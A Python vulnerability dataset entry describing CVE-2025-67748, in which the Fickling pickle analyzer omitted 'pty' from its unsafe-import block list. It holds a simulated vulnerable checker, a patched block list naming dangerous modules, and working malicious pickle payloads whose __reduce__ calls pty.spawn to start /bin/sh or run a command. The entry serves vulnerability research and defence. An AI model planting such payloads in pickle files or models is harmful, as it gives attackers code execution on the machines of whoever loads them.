CVE-2025-67748
Fickling fails to block the 'pty' module, misclassifying unsafe pickles.
- CVSS 7.1
- CWE-94
- Input Validation and Sanitization
- Local
Fickling is a Python pickling decompiler and static analyzer. Versions prior to 0.1.6 had a bypass caused by `pty` missing from the block list of unsafe module imports. This led to unsafe pickles based on `pty.spawn()` being incorrectly flagged as `LIKELY_SAFE`, and was fixed in version 0.1.6. This impacted any user or system that used Fickling to vet pickle files for security issues.
- CWE
- CWE-94
- CVSS base score
- 7.1
- Published
- 2025-12-16
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Fickling
- Fixed by upgrading
- Yes
Solution
Upgrade Fickling to version 0.1.6 or later.
Vulnerable code sample
import pickle
import pty
# This code represents the logic of Fickling versions prior to 0.1.6.
# The vulnerability lies in the 'pty' module being absent from the blocklist.
# Incomplete blocklist missing the 'pty' module.
VULNERABLE_BLOCKLIST = {
'os',
'subprocess',
'shutil',
'sys',
'socket',
'eval',
'exec'
}
def vulnerable_fickling_check(pickle_bytes):
"""
A simplified simulation of the vulnerable Fickling analysis.
It checks for module names within the pickle data. A real decompiler
would analyze opcodes like GLOBAL.
"""
# This simplistic check finds module names as strings in the pickle data.
if b'pty' in pickle_bytes and 'pty' not in VULNERABLE_BLOCKLIST:
# This is the flawed logic: it finds 'pty' but since it's not
# in the blocklist, it proceeds towards a 'LIKELY_SAFE' result.
pass
elif any(module.encode() in pickle_bytes for module in VULNERABLE_BLOCKLIST):
return "UNSAFE"
# Because 'pty' is not on the blocklist, the check incorrectly passes.
return "LIKELY_SAFE"
# 1. We define a malicious class that uses pty.spawn for code execution.
# This payload, when unpickled, would attempt to spawn a shell.
class Exploit:
def __reduce__(self):
return (pty.spawn, (["/bin/sh"],))
# 2. We create the malicious pickle data.
malicious_pickle = pickle.dumps(Exploit())
# 3. We run the vulnerable analysis function against the malicious pickle.
analysis_result = vulnerable_fickling_check(malicious_pickle)
# 4. The result demonstrates the vulnerability. The dangerous pickle is
# incorrectly classified as safe.
print(f"Payload using pty.spawn was classified as: {analysis_result}")
# The line below would execute the payload if the pickle were loaded.
# It is commented out for safety.
# pickle.loads(malicious_pickle)Patched code sample
# This code represents a hypothetical fix in a file like fickling/security.py
#
# The original vulnerability was that 'pty' was missing from this set,
# allowing pickles that used pty.spawn() to be incorrectly marked as safe.
#
# The fix is to add 'pty' to the set of known unsafe module imports.
import sys
# A frozenset of known unsafe module imports that can be used for RCE.
# The addition of 'pty' to this set is the fix for CVE-2025-67748.
_UNSAFE_IMPORTS = frozenset(
[
"__builtin__",
"__main__",
"builtins",
"copy_reg",
"ctypes",
"dill",
"marshal",
"modules",
"os",
"pickle",
"pty", # This line is the fix.
"shelve",
"shutil",
"subprocess",
"sys",
"system",
"torch",
"winreg",
"_winreg",
"zipfile",
"zipimport",
]
)
def is_import_safe(module_name: str) -> bool:
"""
Checks if a module is in the block list of unsafe imports.
"""
# In a real scenario, this might involve more complex checks,
# but the core logic relies on the _UNSAFE_IMPORTS set.
return module_name not in _UNSAFE_IMPORTS
if __name__ == "__main__":
# Demonstration of the fix
vulnerable_import = "pty"
another_unsafe_import = "os"
safe_import = "math"
print(f"Checking module '{vulnerable_import}'...")
if is_import_safe(vulnerable_import):
print(f"Result: '{vulnerable_import}' is considered safe. (This would be the VULNERABLE behavior)")
else:
print(f"Result: '{vulnerable_import}' is correctly flagged as UNSAFE. (This is the FIXED behavior)")
print("-" * 20)
print(f"Checking module '{another_unsafe_import}'...")
if is_import_safe(another_unsafe_import):
print(f"Result: '{another_unsafe_import}' is considered safe.")
else:
print(f"Result: '{another_unsafe_import}' is correctly flagged as UNSAFE.")
print("-" * 20)
print(f"Checking module '{safe_import}'...")
if is_import_safe(safe_import):
print(f"Result: '{safe_import}' is correctly flagged as SAFE.")
else:
print(f"Result: '{safe_import}' is considered unsafe.")Payload
import pickle
import pty
class Exploit:
def __reduce__(self):
return (pty.spawn, (['/bin/sh', '-c', 'touch /tmp/pwned'],))
malicious_pickle_payload = pickle.dumps(Exploit())
Cite this entry
@misc{vaitp:cve202567748,
title = {{Fickling fails to block the 'pty' module, misclassifying unsafe pickles.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-67748},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-67748/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
